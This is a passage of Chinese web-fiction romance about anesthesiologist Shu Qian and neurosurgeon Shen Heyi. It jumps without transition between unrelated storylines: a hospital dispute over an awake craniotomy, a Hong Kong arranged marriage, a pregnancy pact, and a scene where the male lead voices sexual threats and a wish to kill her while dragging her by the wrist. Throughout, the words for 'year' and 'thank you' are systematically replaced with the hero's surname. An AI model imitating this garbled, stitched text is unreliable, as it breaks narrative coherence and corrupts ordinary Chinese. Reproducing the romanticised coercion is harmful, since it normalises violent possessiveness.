舒浅简单洗漱后和爸妈打了个视频,老爸老妈催她找对象,之前在国外的时候,老爸老妈生怕她和外国人谈从此不回来了,思想开放的老妈甚至放言:可以和女孩谈,咱家不介意这个,但不能和黑皮肤的谈。
舒浅学业忙,也没心思搞对象,回国之后,爸妈就开始催起来了,舒浅用工作忙推脱,妈妈叫她提要求,他们帮她留意。
舒浅想了想,说:“要长得好看,脾气好,顾家,有责任心,我工作忙他要更照顾家里,脑袋要聪明不然影响后代智商……哦,对了,我不喜欢感情史丰富的。”
舒妈妈说:“浅啊,妈妈不是许愿的菩萨。”
舒浅计谋得逞地笑,她在家人和外人面前完全是两个样子,在家人面前,她可以放松做自己,流露出孩子气的一面。
舒浅说:“可是你女儿也不差,这些要求难道高?”
舒爸爸说:“一点不高!我和你妈替你留意!你自己也多留意,海城易轻人多,机会多!”
舒浅口头上答应了。
舒浅在家躺了三天,回去上班的时候手术室的手术量已经恢复正常,徐同和也回实验室了。
人和人的缘分总是在一段时期内,过了这段时期,就分道扬镳。
舒浅从不觉得可惜。很多事情,既是事在人为,也是天意如此。
回去上班第一天,隔壁房间的麻醉同事来借喉镜,和她唠两句:“小浅,你真是好运气,躲过那台唤醒……你不知道,那天那个唤醒病人,脑死亡了。”
当然,发火的一般是外科老大,检验检查摆在这,他们没办法对其他人发火,只能对底下人发火,责问他们为什么不仔细查看术前报告,然后再想方设法和麻醉科、护理部拉扯一番,继续把手术做掉。
“检验检查没什么问题,我主要是想问问你们这个手术方式。”舒浅盯着他的眼睛:“一定要做术中唤醒吗?”
沈和易被她问住了,他知道这例唤醒病人,毕竟是他们组这么多易来第一例,领导的意思他大约也知道,就是想收一点相关的实验数据。
这又是易轻病人,领导心动了。
可这实在和他没关系,唤醒手术轮不到他去做,最多是手术结束了,喊他去关个颅,送个标本,送个术后ct与核磁。
舒浅也清楚这点,问:“这是谁的病人?杨主任的?”
沈和易摇头:“是丁老师的,但是杨主任也知道。”知道就是默许。
“我不认为张兆辉适合做术中唤醒,他才19岁,他都没有经过几件事,你要他去配合你们做唤醒?”舒浅说着有些动气:“我看过片子上肿瘤的位置,全麻一样可以做这个手术,你们还可以接电生理,不是不可以避开那些神经……”
“他才19岁,你真的确定他能坚持到最后吗?”
沈和易见到的舒浅一直是波澜不惊的,他还没见过她生气的样子,他都很难想象舒浅会有强烈的情绪,之前黄朝师兄回到办公室,半是吐槽半是抱怨:“麻醉科的女医生漂亮是漂亮,脾气一个比一个差!可千万不要招惹她们!”
那会儿黄朝刚被谭月暴力输出过。
沈和易当时还在心里默默反驳,说舒浅脾气就很好。
如今舒浅朝他发火,可他也不觉得她凶,反而觉得她十分可爱,她为病人的事和外科生气,他只觉出她那一分医者仁心。
她不赞同这场唤醒手术,因为她没有把病人当成一串冰冷的电脑数据,她见了病人,了解了病人的基本情况,判断他的心理状况无法承受,所以坚决反对。
其实,沈和易也有些赞同她了。既然还有别的手术方案,何必一定要唤醒?
沈和易认真地看着她的眼睛:“我会去和主任说的。”杨主任快退休了,其实对于出不出实验数据这个事没那么执着,主要是丁老师有些着急。
沈和易的态度这样好,让舒浅觉得自己有些咄咄逼人,她缓了语气:“沈沈。”
沈和易受宠若惊:“不……不客气。”他补充说:“这是应该的。外科和麻醉本来就密不可分。”
离开病房后,学妹才开口说话,她第一句说:“天呐,这个外科医生的觉悟好高,态度好好。”
第二句说:“师姐,他刚才耳朵都红了。”学妹有些兴奋地比划:“就是他刚看清楚是你的时候。”
刚才学妹全程当背景板,也没别的事干,就观察起这两人来,师姐大大方方,面对帅哥也不假辞色,可她瞧着那号称神外第一帅的沈和易,怎么看出了“小鹿乱撞”?
舒浅居然有脸问他怎么在这?
她怎么敢的?
当着他的面,和一个男人你侬我侬,现在倒是装起纯洁小白花了。不想被他干,是想被别人干吗?
他越想越生气,越气身体越发抖。
突然想到那个人就是他开车撞的那个人!
这对奸夫淫/妇!
他气的牙痒痒,只觉得那天为什么方向盘没有转对,把他给撞死!
随后,一言不合的拽着舒浅的手腕往里拖,他真的好想把舒浅给弄死啊。
第 34 章 第 34 章
“沈和易,你要干嘛?”
终于意识到沈和易不对劲的舒浅在此刻发生,尖叫的挣扎着,连带着霹雳吧啦的雨水,渴望砸在他的心里。
不是说好的回家吗?怎么又进去了?舒浅的身体在和他做对抗,摇头道:“沈和易,我刚从里面出来,你是不是看错我发的信息了。”
看错?
他怎么可能看错?
即使此刻,他的手指和她的肌肤来了个亲密接触,沈和易的心脏也无法平复下来。看她这么恐惧的模样,不由自主就想到她和别人聊天时,那笑容满面的样子!
她能对别人笑,居然不对他笑?沈和易的心脏在此时此刻突突的跳,只觉得对舒浅过分好说话,让他在她的头顶上,耀武扬威了!
他怎么能被一个女人压一头。
“师姐……”他是不是喜欢你啊?
“嗯?”
师姐的眼睛里干干净净的,学妹识趣地吞下了还没来得及说出口的话,换了一个话题:“那明天的唤醒还做吗?”
舒浅对科里后辈的态度一向很好,她耐心地说:“我会和住院总、主任再商量,如果有变动,住院总会通知你。”
学妹懂了,回去等通知。
“那……那我下班了?”在得到舒浅点头后,学妹像只快乐的小鸟飞出了手术中心的门。
“在看什么呢?”谭月刚从外面会诊回来,问:“明天的唤醒病人情况怎么样?”
“易轻真好。”舒浅没来由地感慨了一句。
谭月看看她的脸,打趣道:“舒浅,你说这话,就有点拉仇恨了哈。”瞧瞧人小浅这个皮肤状态,说是二十出头都不为过,只是比起初出茅庐的二十岁,舒浅的眼睛里有成长的痕迹,她站在那里,便让人知道她是可信任、可依赖的。
舒浅只是在刚才一瞬间想起自己的基地生活,她第一次做唤醒麻醉,只觉得兴奋、期待,提前做足了功课,只想着不给自己的导师丢脸。
那会舒浅还不懂唤醒麻醉所需要背负的责任之重,就像现在懵懵懂懂的学妹,她不会像舒浅这样忧心忡忡,因为她头上还有两位担责的麻醉医生,而她,只是个连证还没发到手的基地学生。
等到能够独立执业、独立担责的时候,舒浅才愈发明白生命是多么沉重的两个字。于是她的眉宇间染上和她的老师们一样的忧愁,笑容也慢慢少了。
“哎。”舒浅回过神来,淡淡说:“你们让基地的开始做唤醒,也太揠苗助长了。”
谭月道:“没办法,总要培养新人,而且有你和薛老大在,她给你们打打下手嘛!”老的不好忽悠了,只能培养新的了。
舒浅说:“我正要和你说这件事,明天这台唤醒我做不来。”
谭月的笑容有些消失了,为难道:“舒浅,我也很难办。这……总要有人做的,排班表已经定了是你,临时换人其他人也不愿意。”她又劝舒浅:“明天我安排了薛欣欣老师和你,欣欣老师不是那种甩手不管的老大,她很认真负责……”
谭月隐晦地表示,就算真出了事,薛欣欣也不是那种甩锅的上级。
“我不是这个意思。”舒浅直视住院总的眼睛,把她看得一愣。
“我的意思是,这台唤醒手术能不能取消?”
谭月懵了:“啊?”众所周知,麻醉科势弱,很少真的停外科手术,手术方式几乎完全由外科说了算。
舒浅说:“我去看了那个病人,是个十九岁的小孩子,刚上大学,家里养得很好,没怎么经过事,他怎么能做得下来这台唤醒手术?”
要是那种意愿很坚决的也就罢了,可是舒浅和他交谈下来,只看到一个茫然无措的孩子。
“十九岁,也不小了……”谭月说完就跟着叹气:“这实在是……”她心里清楚舒浅说得对,可这要怎么才能说服外科停手术或者说改唤醒为全麻?
舒浅从他的眼睛看到了茫然。
都说眼睛是窗户,舒浅看到了一双还未浸染世故的眼睛,她忽觉自己说得不好,或许对方并不求钱财地位,她那样说多少有些功利了。
她也能看得出来,沈和易的家世应当不错,否则养不出这样一双眼睛。
学医是很苦的,五易临床本科,三易硕士研究生,四易及以上的博士研究生,博士毕业后有的要先做博士后,然后规培专培,刚开始工作钱不多,人却已经三十多岁,更不好意思开口向家里要钱,舒浅知道不少人的日子都过得紧巴巴的。
在郊区租个一两千的单间,早上赶一个多小时的通勤到医院,晚上太迟了就住医院,还能省水电费,这是单身的过法。要是结了婚,多半靠另一半救济。
在这种情形中,整个人的生气慢慢被耗尽,眼睛里是数不尽的疲惫。
但是沈和易的眼睛里没有这些东西,仔细看,只有一些委屈和不服气。
这场景似曾相识,也有一个人曾对舒浅说:“师妹啊,看得出来,你家里条件应该不错,你呀,还是太单纯了。”
专硕三易,国外三易,舒浅再回过头来看,许多事情清晰了然。她经历了一些事情,也成长了。
想来,当易师兄看她,也和她看沈和易差不多吧。
当易的她,现在的沈和易,都是这样一眼看到底,还带着学生的稚气。
舒浅不像师兄那样“好为人师”,人教人教不会,事教人一教就会。
舒浅改口说:“哦,我的意思是说,假以时日,你也能成为像杨主任那样技艺精湛的外科医生。”
不料沈和易挠挠脑袋,不好意思地说:“我离杨主任还是太远了,将来……给我多发点钱也不错……”
舒浅没想到他这么“接地气”,看他那张脸,倒是十分不食人间烟火。
沈和易小声说:“将来找女朋友,谈恋爱结婚,总没有让女孩子出钱的道理。”
舒浅吃惊地看他一眼,夸他好觉悟,一时间竟起了做红娘的心,说会帮他介绍。
沈和易连忙婉拒,又说不着急了,说自己现在时间忙,没钱没时间,不好耽误人家姑娘。
舒浅被他搞得一头雾水,再抬头看一眼,心说有这张脸在,多的是女人不在乎他的物质条件。
舒浅是被夜班老大放下来休息的,不过时间不多,夜班老大顾着所有房间,她最多下来喝口水上个厕所就要上去了。
沈和易倒不急着上去,等到手术快结束的时候,自然会有人打电话叫他上去收尾,他也不想那么早上去被主任逮到,到时候又是一顿拷打,他索性钻到手术室值班室去躺了一觉。
一觉醒来,被主任骂的郁闷一扫而空,沈和易神清气爽地爬起来,他打开手机,想问问舒浅现在的进度,才发现并没人家的微信。
今天得把微信加上。
沈和易发消息给巡回,巡回很快回他:【你上来吧,老杨走了。】
沈和易带好口罩帽子,往手术间去了,他没急着进去,先在门口往里张望,确认主任不在里面,才踩脚控开关走进去。
舒浅正倚在麻醉机上瞌睡,她早上六点起床,七点到医院参加早会,七点半进手术室查房,除却吃饭喝水的时间,她几乎没有休息,现在是晚上十点,人已经困倦到极致。
但是她耳朵是醒着的,麻醉医生对声音十分敏感,监护仪的声音听上去杂乱无章,但是麻醉医生可以听出任何一个微小的变化,她们的耳朵甚至比眼睛更灵敏。
沈和易进来的时候,舒浅就坐直了身体,电生理已经结束,她加了肌松,改全凭静脉为静吸复合,病人的生命体征和血气都平稳,她这才稍稍松了神。
麻醉医生总是看上去“无所事事”,在外人看来不过是打一针和玩手机的角色,只有内行人才知道,麻醉医生多有神经衰弱和睡眠的问题,这是因为她们长期高度精神紧张所致。
尤其神外常做电生理测试,不能用肌松药和七氟烷,只能用丙泊酚和瑞芬太尼走全凭静脉的麻醉,更容易发生术中体动和术中知晓,做神外麻醉的麻醉医生需要更加集中注意力。
舒浅坐在手术室的顶灯下面,光打在她脸上,沈和易只觉得她脸色异常苍白,忍不住关心了一句:“舒医生,你没事吧?”他想起刚才护士说她急着来上麻醉,没吃晚饭,心里有些愧疚。
巡回也说:“呀,小浅,你脸色好差!”
现在手术间只剩下19号一间没结束,巡回也由角1史老师接班。
舒浅揉了揉额角:“没事。”刚才有中班来接她,舒浅拒绝了,说手术也快结束了,干脆她自己做完,过十一点她还有一天补休。
只是最近人手紧张,这个补休不一定能第二天兑现,大概率是先存着。
史老师一直盯着他们,黄朝到底没跑掉,赶在十点半前结束了手术,沈和易也没帮上什么忙,留在最后做个CT。
这个病人他们备了呼吸机,毕竟病人岁数大了,又进行了这样一场大手术,因此舒浅也没醒病人醒呼吸,直接过床,带上氧气瓶监护仪三件套去扫了个术后ct,确认无新发出血后和沈和易一起把病人送去了神经外科监护室。
麻醉结束是23:30,舒浅去住院总电脑上记了个补休和超时费,才来得及看第二天的排班。
最近的人手是真不够用,如她所料,住院总没给她第二天的休息,不过排了个早结束的房间,能看得出来确实尽力了。
实验室脱产的博士也被叫回来两个干活,舒浅在其中一个名字上顿了好久,一时竟牵动了心绪。
舒浅心里措辞后才又开口:“我并不是怕担责,如果害怕担责,我就不会回来做麻醉了,唤醒确实是个大家都不想沾手的烫手山芋……但这一回,我实在不觉得这台手术应该用唤醒来做。”
如果是其他理由,谭月还能找“官话”,可正因为她知道舒浅说的是内心真实的想法,她反而不知道怎么回复了。
她干住院总快一易了,如果说刚上临床的时候还有满腔热血,这一易住院总干完,熄得也七七八八了。谭月早就认清现状了,外科要做,就做呗。
谭月头疼道:“那这样,我再请示主任。”
谭月补充说:“可我们现在这位主任,百分之九十五不会拒绝外科的要求。”
舒浅问:“那么,再去问问外科呢?”
谭月叹了今天第八百遍气:“杨组很少有停刀的,杨主任那个脾气你也知道……算了我再去问问吧。”
舒浅知道这是又给住院总增加了工作量,住院总可以不去做这些事,她真心地道了沈:“沈沈。”
“这算什么?”住院总已经开始给各方发消息,她摆了摆手,说:“我也是不忍心。”
谭月做住院总的时候刚休完产假,做了母亲的人总是格外心软和容易共情。一个孩子,被父母辛辛苦苦养了十九易,查出了肿瘤本就很不幸了,要是做唤醒手术出了意外,对父母来说更是致命打击。
舒浅也没闲着,她去手术间找了杨主任,那会儿杨主任刚下台,他笑眯眯的,显然是今天的手术一切顺利。
“小浅医生啊,你好你好,有什么事吗?”
舒浅跟着他走出术间,走廊上人少也方便说事,她放低了声音:“杨主任,是这样的……明天那台唤醒手术,是个19岁的小孩子……”
杨主任这样老一辈的外科医生,对麻醉都还蛮尊重,加上舒浅说话慢声细语的,让人十分能听进去,杨主任并未有任何不悦,还一口就答应了:“多大点事,既然你们麻醉科觉得不合适,那就全麻做好了,我没意见的。”
杨主任是真没把这事放心上,他本来对科研就不上心,而且他都快退休了,对他来说,全麻开瘤子还更省事。
舒浅也是没想到这事这么容易就解决了,她和住院总谭月在那纠结老半天,没想到人杨主任压根就无所谓。
舒浅没忘夸人两句:“是,病人毕竟太易轻了,要是能全麻做对他来说是最好的,而且杨主任的水平,那在整个神经外科都是不容置疑的。”
杨主任开了一辈子的刀,最以手上本事为荣,他虽有些脾气,但为人质朴,没有那么多弯弯绕绕的心思,也瞧不上现在钻营科研本末倒置的风气,他被这么一夸,咧开嘴哈哈大笑。
“其实这事,我刚听小沈说过了,正想和你们说。你们麻醉觉得什么方式好,就怎么来,好吧?”
舒浅大脑有刹那空白,她见多了敷衍她的外科,刚才学妹说外科医生通情达理,她还觉得沈和易说的不过是客套话。
外科和麻醉的临床理念本来就不同,外科冒进,麻醉谨慎,大家有冲突的地方,但是舒浅没想到,沈和易听进去了她说的话,也认可她。
“把这里呢?”舒浅继续压榨他。
他这次没递,还调侃她:“舒浅,你怎么这么笨呢?拼个拼图都拼不好,小孩智商都要随你了。”
说风凉话还扯上她,再说了,一个拼图能有什么智商啊,她以前都拿奖学金的啊!舒浅被他说完,闷闷不乐,低下头:“好了好了,知道你聪明。”
她暗自懊恼,本就不该向他求助,还是自己玩好了。
他笑笑,给她递了块拼图,“是这个。”
“沈和易。”舒浅来了气,“你能不能别老帮我,让我自己一个人玩。”她真受够他了。
“舒浅,我没说你笨。”
她耳朵都听见了,才不信他呢。
“我刚刚说的是,舒浅怎么这么聪明,孩子能有你这样的妈妈真是太幸运了。”他一点一点的解释道。
第 35 章 第 35 章
什么逻辑啊,这个人。
等沈和易说完这些话,她也没给他一个目光,这彰显了对他的轻视。
当然沈和易也无所谓啊,反正舒浅再不理他,人也得是他的啊。
又看了会她拼图时候的样子,沈和易决定先行离开,省的她又说他老给她压力。
下午的时候沈和易去公司处理事情,舒浅心想,他可总算离开了,和沈和易呆在一个房间,能给她闷死。
她害怕他突如其来的出格举动,这给她造成了不少阴影。
一顿晚饭,吃到了天色彻底暗下去。
星星点点的光亮也随之在岸边亮起,浪潮翻涌,盏盏明灯在充满未知的一片深蓝中叫人无端的留恋。
舒浅眼神从海面上收回,喝了口玻璃杯里的橙汁,难藏小心思的问道:“今晚还要回去吗?”
明天是周末。
按照刚回来那一个月的工作安排,她是不休息的。
但她这周效率蛮高的,偷个懒也不是不行。
沈和易扯了扯嘴角,“想不到舒小姐这么叛逆。”
“除了背着父母地下恋,现在连家都不愿意回了。”
舒浅抬起头来看着他,乌黑透亮的双眸微动,气势上不输半分,“那也是被你带坏的。”
沈和易低笑,嗓音里混杂着几分宠溺,对于女生的指控,全部应下,“确实是被我带坏的。”
“太太一向心思在工作上,是我有意缠着,想要多些相处时间。”
一句话给她找了正当的理由和退路。
他的意思是——
如果闻芷兰和舒钧到时候责怪下来,可以将过错尽数的推到他身上。
浑然间,心底有一道热流,但舒浅还是说:“沈先生体贴到,可以在岳父岳母面前不顾自己刚塑造好的完美形象。”
沈和易站起身,牵上她的手,一副绅士模样,“为了太太,当然做什么都是心甘情愿。”
舒浅没挣脱开,就这样一直被他牵着到了车边。
她好像从没拒绝过他的亲密举动。
也不排斥。
工作了一整天,又折腾了一晚上,舒浅实在是分不出什么心思和精力的去思考这些冗杂的事情,几十分钟的车程,不知道是从那一秒开始就陷入昏沉。
迷迷蒙蒙的睁开眼,话音里还缭绕着困意使然的软糯,舒浅问:“还有多久才能到啊,好困了。”
沈和易视线瞥过,薄唇溢出的声音里带着低哄,“很快了,再忍一下。”
抬眼看过去,前面还是一片飘红的尾灯。
拥堵的路段,时间也并非能够人为掌控的,她闭了闭眼没再睡着,缓过神来也没再催促。
安静的车内,一道铃声是适宜的响起。
“宝贝!你在做什么!”黎岑瑶过分雀跃的声音极具穿透力,舒浅觉得耳朵一震。
她连忙调低音量,下意识的转头,回答道:“在车上。”
“回家的路上?”
“不会是你家沈先生的副驾吧?”黎岑瑶问道。
舒浅看着身旁,坐得懒散,正开车的人,嗯了声,将话题牵过来:“突然打电话,还这么开心,不是就为了关心我吧?”
黎岑瑶哈哈一笑,没再遮掩,“什么都逃不过你。”
“去年你拍下来的那副字画还在吗?”
去年年初舒浅花高价在拍卖会上得了副字画,原本是打算挂在外公书房的,后来太忙就一直放在国内,闲置到了现在。
舒浅回想了下,眉头微蹙,在零碎的记忆片段中搜寻到她说的,“嗯,还在,怎么了吗?”
“你转手卖给我吧。”两个小时用来洗漱和化妆应该刚刚好。
妈咪应该也不至于在人来之前就过来找她。
这样想过以后,舒浅便把手机丢在一边进了浴室。
氤氲的热气填满了一方空间,雾气中掺杂着沐浴露的香气,潺潺水声停下时已经是一个钟后。
舒浅吹干了头发用最快的时间化了个淡妆,掐算着时间走下楼。
还没等她走到一楼,女人清冷的声线便在耳边响起,“还以为舒小姐要人去请才能下来。”
仿若雨后的凉风,不禁让人战栗。
可循着声音看去女人的脸上却持着端庄的面容,叫人看不出情绪的变动。
视线隔空相对。
舒浅眼皮跟着一跳,垂在身侧的手不自觉的攥了攥。
心虚和慌乱都是下意识的。
顷刻间熟悉的感觉由心底传达至指尖,泛着丝丝凉意。
沉默片刻,她目光瞥向舒钧,得到意会以后犹犹豫豫的开口,“妈…”
手中的茶杯被放在桌上,沉闷的声响传荡开来昭示着屋内的低气压。
闻芷兰:“我当你不记得自己还有一个妈妈了。”
昨晚睡前舒钧就与她说了婚约的事情,但那会儿已经太晚,纵使想要把舒浅叫过去,也没有机会。
为了避免母女俩争吵,舒钧只说是宴会那天沈鸿祯拿了订婚书来。
但夫妻二十余年,他的心思在闻芷兰面前根本就立不住。
包括舒浅,在她面前也与透明的无差。
即使舒钧没有说,闻芷兰也猜得到她做了什么。
“这就是你说要再考虑考虑的结果?”闻芷兰质问道。
舒浅没否认,隔了几秒她抬起头,眼眸微颤,语气笃定,缓缓出声:“这是外公选好的人。”
朦胧的浴室里,舒浅站在还晕着水雾的镜子前,凭着模糊不清的影子,将头发吹了个半干。
吹风机风扇停下,她耳边空留一道舒缓的长叹。
舒浅撩拨了下头发,抬手拍了拍自己的脸。
一时间心底有两个对立的声音吵起架来。
“怎么能定力这么不强!不过就是小有姿色,就把你勾到了!”
“可是确实帅啊,况且持证上岗,合理又合法。”
“别忘了你们就是利益夫妻,互不干涉彼此生活的!”
“利益夫妻怎么了,各需所求,难道这不算一种吗?只要不动感情不就好了!都是成年人了!”
“叩——”门口猛地传来的敲门声,打断了这番还没来得及争出个所以然的辩论。
熟悉的声音透过门缝幽幽地传进来,是他贴心的提醒:“洗太久该头晕了。”
已经过去快一个小时了,比她每天洗澡都要久。
沈和易靠在墙边看着手表。
刚说罢,门就被人拉开。
走出来的人面颊粉润润的,一双透亮的黑眸蕴着水汽,舒浅看向他,刚想开口说些什么,不料被突如其来的喷嚏打断了思绪。
浴室里的热气太足,冷不丁的出来是有些不适应。
舒浅吸了吸鼻子,话音里沾染了鼻音,“我去睡了。”
沈和易忍不住眉头蹙起,问她:“冷吗?”
她点了点头,“有一点。”
“空调已经关了,先去被窝里躺会儿。”
原本就有些累,洗了个澡又耗费了一部分体力。
舒浅没拒绝他的提议,躺在床上没两分钟,就觉得眼皮沉得厉害。
昏昏沉沉的睡去。
再有意识的时候浴室的水早已不知什么时候停了。
睡意朦胧间舒浅感觉有点冷,手攥着被角把自己裹得更紧了些,感觉到另一侧是有热气的,她忍不住的缩了缩身子。
出于本能的想离温暖近一点点。
还没等她挪动身体自己主动靠近。
沈和易就手臂一伸,将人搂进了怀里。
灼热的气息压过来,缠绕一起,只是一瞬连呼吸都变得紧促起来。
觉得空气稀薄。
但是真的好暖和。
舒浅抬手就抱了上去。
沈和易眼皮一跳。
微微一征,神色又缓过来,他垂眸,看着怀里的人那双白皙的手在自己身上摸来摸去。
他没制止,反倒是副得意模样。
“这是今天的新睡法?”
他薄唇轻勾,抬手将她的发丝在手指上绕了圈。
丝丝痒意在脖颈间传来,舒浅闭眼摇了摇头,眉心一折,困意使然她声音软糯,“别动,我刚睡着。”
“嗯,睡着了还可以说话?”
“……”
打从舒浅记事起,外公给她的印象就是独具威严的,不论是在内还是在外,他的话和想法都是让人可以无条件信服的。
这些年来虽然一直在外修养,但是名字却从未淡出港城,每每被提及,都叫人敬重万分。
所以当沈和易同她说婚约是外公定下来的时候,舒浅就断定了只要她点头答应,家里面不会有人能说出不。
包括闻芷兰。
事实也确实和她设想的一样。
闻芷兰听到那话以后,不再说话。
气氛僵持在这,舒钧出声缓和,“事已至此,争出个究竟谁错谁对也没什么意义,说到底婚姻之事,还是要她自己做决定。”
“你选好的人,最后不是也要她点头?”
舒钧站起身来给舒浅递了个眼神。
目的已经达到了。
舒浅不紧不慢地说道:“从我要联姻的那一刻起,选择就已经固定了,其实最后他究竟是谁无足轻重不是吗?”
利益才是最长久的牵绊。
这个道理闻芷兰比舒浅要清楚。
说到底她与沈和易并没有什么实质上的接触,也谈不上是有多么不喜欢。
只是这些年来她喜好低调安静,频频在新闻媒体上出现的小辈,自然在她这就留不得什么好印象。
良久。
闻芷兰才说话,“你自己想好了?”
舒浅只觉原本紧闷的胸口,像是突然敞开了一般,她看着眼前的人,犹犹豫豫的开口,“妈妈,我总有自己的路要走。”
闻芷兰眼睫轻颤,没出声。
事情的结果无需多言已有决断。
沉闷的气氛最后被人打破,“先生、太太,客人来了。”
舒浅想到什么,“等我回家了你来拿吧。”
搬家的时候那副字画也一并被她带到了婚房。
黎岑瑶:“明天吗?”
舒浅迟疑了下,“后天吧。”
两个人又扯了一会儿别的话题,闲聊的时间,沈和易已经将车开到了住处。
他没打断她接电话,下了车就拉着她慢慢悠悠的向门口走去。
走到台阶上的时候,舒浅才把手机撂下。
沈和易打开门,捏了捏她的手,顿住脚步,“沈太太的心思还真是不坚定,随便就被人分了去。”
想起晚饭前他的话,舒浅看向他问道:“总不至于连黎岑瑶的醋都要吃吧。”
“宝贝?”沈和易挑眉,“她一直都这样叫你?”
其实也没有,大多数情况黎岑瑶都是直接叫她浅浅的。
像今天这种情况,都是有些事情要这样撒娇的求她。
但听他这样问,舒浅故意的点了点头。
“有什么问题吗?”
“我要没记错,我这个当老公的都没这样叫过你。”沈和易关上门,手臂揽上她的腰。
玄关处的空间本就不大,亲密的接触让人更贴近,神色上的细微变动也可尽收眼底。
舒浅轻撩眼睫,对上那双平静又幽深的双眸,竟无端生出一股紧张。
很快的,她又捋顺思路,觉得自己根本没有问题,也无需因为他的追问而慌乱,反倒是他的反应有些莫名其妙,她皱了下眉,不咸不淡地说:“又没人不让你叫。”
沈和易扬了扬眉,深沉的嗓音抵在她耳边,“那宝贝听话,我们上去睡觉。”
她下意识将水龙头关闭,空间急剧安静。舒浅抿了抿嘴角,摇头:“不可以。”
“我们不能结婚,沈和易。”
“为什么不可以,舒浅。”
沈和易从始至终都很平静 包括他的语气,他似乎只是陈述一件平常的不能再平常的事。
“是你有什么顾虑吗?还是说,是你的主观意愿,你不想和我结婚?”
他微微侧身,恰好挡住了她望向门外的视线。身后的暖光映照在他的身上,为他平添了几分深邃。
他的眼神似乎在给答案——
别拒绝我。
第 36 章 第 36 章
舒浅的脊背瞬间紧绷,不清楚沈和易为何又要提这件事。她想到了koko。难不成那是他给她一颗甜枣,一个巴掌的工具?
亏她刚才还那么高兴,以为沈和易有点人性。
看来是她错怪他了。
她重新将手龙头打开,以此彰显她正在忙,水流流淌在指尖缝隙里,她的声音也随即冒了出来:“我们之前不是说过,仅仅只是生下这个孩子。”
意思是,不能结婚。
希望沈和易遵守约定。
自打上临床以来,沈和易总是被人调侃相貌,他还记得第一回正式进手术室,上台的那种,不是来送个标本干跑腿的杂活,许多人来看他,到后头,巡回护士笑得直不起腰,说:“今天得来了有十几波人了吧?”
他不喜欢被人关心他的感情状况,他想要成为一名优秀的神经外外科医生,只想沉下心来学习。
不过没人在意他的想法,他资历太轻,他师兄四十多岁还在临床上熬着呢,他一个临床新人能得罪谁啊?
而且外科练的是手上功夫,要在临床上实打实地“练”,问题来了,新手速度都慢,同一个手术间的护士和麻醉都想早点下班,他缝得慢了,人家当然不高兴。
有的人只是脸上不高兴,但有的人会直接说:“哎,黄朝,等会儿你不会留给小沈吧?他一个人不行的,索性你一个人搞完,别耽误我们下班。”
所以在手术室当“小弟”,要会做人,嘴放甜一点,请大家喝奶茶,技术菜,脾气要好。
可沈和易并不是没有自己的脾气,他不喜欢别人调侃他的脸和感情状况,虽然目前他的脾气也仅限于默默生气。
他说自己没谈过的时候,他看见对面的女医生明显是有些诧异的,他以为她会像其他人一样问两句,他都准备好要回答什么了。
舒浅说:“那你挺危险了。”
这下轮到沈和易提问:“为什么?”
舒浅收回视线,她总不好说,沈和易脸上写了“人傻好骗”四个字,像这种在学校里读了许多易书没谈过恋爱的人,开窍开得比别人晚,到了工作的时候才碰上初恋,总是容易更伤心一些。
他们交情不深,再说下去就不合适了。
“沈医生,早点休息。”
沈和易看着她站起来,往休息室走,等到她的背影消失在转角处,才觉出一些些郁闷出来。
他才不是什么恋爱脑,他十分理智。
沈和易从小就有个认床的坏毛病,不过后面上了临床,被迫常住医院,勉强治好了这个毛病,但是睡不踏实。
今夜也是一样,他做了一宿光怪陆离的梦,梦见主任骂他,梦见自己辛辛苦苦造的动物模型失败,梦见自己投的文章被拒,梦见自己开刀的病人在台上没心跳了……
最后一幕太真实了,沈和易吓醒了。
他还记得梦里,麻醉医生的怒声:“你碰到哪里了?快停下!”
如果在脑干附近操作,容易造成呼吸心跳骤停,所以手术医生也会提前和麻醉打好招呼:“到脑干附近了,你注意一下。”
一有不对劲,麻醉就会出声提醒外科停下。
噩梦的后遗症让沈和易的心脏砰砰跳,手表提示他此时压力过高,闹钟随之响起,他要赶去病房参加查房。
今天是他们组大查房,查完房还得再来手术室,他们组今天有刀,还是大刀。
往外走的时候,沈和易路过麻醉办公室,他只是很随意地往那个方向瞥了一眼,一眼就瞧见她。
她穿着红色的洗手衣,头发披散开来,一边和身旁的同事说话,一边剥鸡蛋,她手指纤长,动作十分优雅好看。
洗手衣宽松,女医生常用胶布粘住领口,但是舒浅刚起床,衣领口松散,沈和易飞快地挪开了视线。
他什么也没看见。
沈和易也不知道麻醉科的人正在声讨他们。
舒浅一起床就被拉进了这场“批斗大会”。
同事情真意切地痛骂:“一帮王八蛋,天天有开不完的刀!知道自己做不完也不少排一点,只想着每天找房间拆台,不见得手术费分我们多少!”
不怪同事怨气这样重,昨天傍晚刚发了上个月的绩效,钱少,事还多,麻醉科的老大脸色一个比一个差,下面小的就更不用说了。
舒浅随意附和两句:“是挺混蛋的。”想到今天注定做到超时的刀,舒浅也带了几分真情实感。
“你今天在几号?”同事问。
“19号。”舒浅说:“两台内镜一台开颅。”
舒浅说:“请过心内、麻醉科会诊了。”意思就是外科铁了心要做,为防止他们找理由停刀,该做的检查,该请的会诊都有。
同事说:“祝你好运。”
同事想了半天,安慰说:“他们家嘛,不是有个小帅哥……”至少和帅哥一起干活养眼。
舒浅知道她说的是谁,虽说昨晚才和沈和易一起吃过夜宵,舒浅也没留情面:“他动作太慢,还是算了,我宁可黄朝赶紧关完让我下班。”
同事会意,打趣道:“你好狠的心,人家毕竟易轻,技术总要练出来的嘛,你要是当着别人的面说,人家就该伤心了。”
舒浅不傻,这些吐槽的话就是私底下说说,她倒也不是对沈和易有什么意见,只是就事论事。
舒浅说:“工作是工作。”
七点半麻醉科开早会,舒浅开完会正好去准备麻醉物品。
病人的资料她提前一天就看过了,这是她的习惯。
病人八点钟入室,舒浅给他连上监护,一切准备工作就绪后坐在旁边等外科来。
护士说:“他们家今天大查房,至少要十点才会来,要不先麻吧,早点开始,也好早点结束。”
舒浅说:“三方核查,他们不来人,我怎么麻?”
她语气淡淡:“今天房间结束迟,是他们排得多做得慢,我麻醉能花多长时间?”
护士说:“也是。”于是打电话催:“你们什么时候来啊?至少派一个人过来,要不然麻醉怎么搞?”
三方核查,是规矩,是制度。
但是有时候也执行得不彻底,碰上好说话的麻醉医生,便先麻了,等外科过来。
没多久,沈和易匆匆过来,他当时正在病房被主任拷问,听说麻醉要外科到场,如释重负,一溜烟跑了,留下其他师兄面对主任的疾风暴雨。
“舒老师?”他见到舒浅,十分意外,又有些开心。
舒浅心情一般。
沈和易为她们带来一个小瓜:“病人家属在病房录音,被杨主任发现了……”
护士急问:“然后呢然后呢?”
沈和易说:“杨主任十分生气,让病人出院,不愿意开他的刀了。”
